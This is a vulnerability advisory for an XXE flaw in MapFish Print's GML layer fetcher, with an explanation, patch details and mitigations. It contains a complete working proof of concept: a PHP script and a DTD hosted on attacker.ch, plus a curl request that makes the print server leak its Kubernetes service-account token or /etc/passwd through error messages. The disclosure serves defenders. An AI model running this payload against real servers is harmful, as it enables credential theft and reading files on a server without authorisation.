CVE-2026-55848: MapFish Print XXE via GML Layer URL
MapFish Print fetches and parses GML layer XML without disabling external entities, letting an unauthenticated attacker read arbitrary server files or hit internal services by pointing the layer URL…

The problem
The GML layer processor in MapFish Print fetches a remote URL and parses the returned XML with external entity resolution enabled. An attacker who controls the GML layer URL in a print request can supply a document that declares external parameter entities, pulling in local files or internal URLs.
Because the 404 error path reflects the expanded entity value as a file path, file contents leak in the resulting error message. This works unauthenticated against any exposed print endpoint. Kubernetes service-account tokens, TLS certs, and /etc/passwd are all reachable.
Proof of concept
A working proof-of-concept for CVE-2026-55848 in org.mapfish.print:print-lib, with the exact payload below.
# 1. Host xxe.php on attacker.ch (serves the malicious WFS/GML XML)
<?php
$p=$_GET['p'];
$d=dirname($_SERVER['SCRIPT_NAME']);
$u=(empty($_SERVER['HTTPS'])?'http':'https').
"://{$_SERVER['HTTP_HOST']}$d/evil.dtd";
header('Content-Type: application/xml');
echo "<?xml version=\"1.0\"?>
<!DOCTYPE x [
<!ENTITY % payload SYSTEM \"file://$p\">
<!ENTITY % dtd SYSTEM \"$u\">
%dtd;
]>
<wfs:FeatureCollection
xmlns:wfs=\"http://www.opengis.net/wfs\"
xmlns:gml=\"http://www.opengis.net/gml\">
<gml:boundedBy><gml:null>unknown</gml:null></gml:boundedBy>
</wfs:FeatureCollection>";
# 2. Host evil.dtd alongside xxe.php
<!ENTITY % exfil "<!ENTITY % error SYSTEM 'file:///xxe-exfil/%payload;'>">
%exfil;
%error;
# 3. Trigger from the print server (token exfil; swap path for /etc/passwd on local setups)
curl -sk 'https://mapfish/api/print3/print/mapviewer/buildreport.pdf' \
-H 'Content-Type: application/json' \
-d '{
"layout":"1. A4 landscape",
"attributes":{
"printDate":"a","url":"","copyright":"","qrimage":"",
"map":{
"projection":"EPSG:2056","rotation":0,"dpi":96,
"center":[2600000,1200000],"scale":100000,
"layers":[{
"type":"gml",
"url":"https://attacker.ch/xxe.php?p=/var/run/secrets/kubernetes.io/serviceaccount/token"
}]
}
},
"outputFormat":"pdf"
}'The XML parser used to process the fetched GML response had no entity-expansion restrictions. The attacker-controlled document declares a parameter entity (%payload) pointing at a local file via file://, then chains it through a secondary DTD (%dtd) fetched from the attacker server.
The secondary DTD triggers an error-based out-of-band channel by constructing a file:// URI that embeds the file contents as a path segment, causing the expanded value to appear in the 404 error.
The patch (commit 13020c0, PRs 4215-4221) hardens the XML factory used in the GML layer fetcher, setting the standard JAXP feature flags to disable DOCTYPE declarations and external entity/DTD resolution (CWE-611). Directory listing as a side effect of trailing-slash paths, and SSRF by substituting https:// for file://, are also closed by the same fix.
The fix
Upgrade to 3.28.30 or later. The fix disables external entity resolution and DOCTYPE processing on the XML parser used to fetch GML layer data. If an immediate upgrade is not possible, block unauthenticated access to the print endpoint at the network layer and restrict outbound HTTP from the print server to known map-tile origins.
Related research
- highCVE-2026-54079CVE-2026-54079: veraPDF validation-model XML External Entity Injection via XFA Stream
- highCVE-2026-54078CVE-2026-54078: veraPDF validation-model XXE via Rich Text
- highCVE-2026-56817CVE-2026-56817: netty-codec-xml XmlDecoder XML External Entity Injection
- high · 7.6CVE-2026-54640CVE-2026-54640: OpenRemote KNXProtocol XXE Arbitrary File Read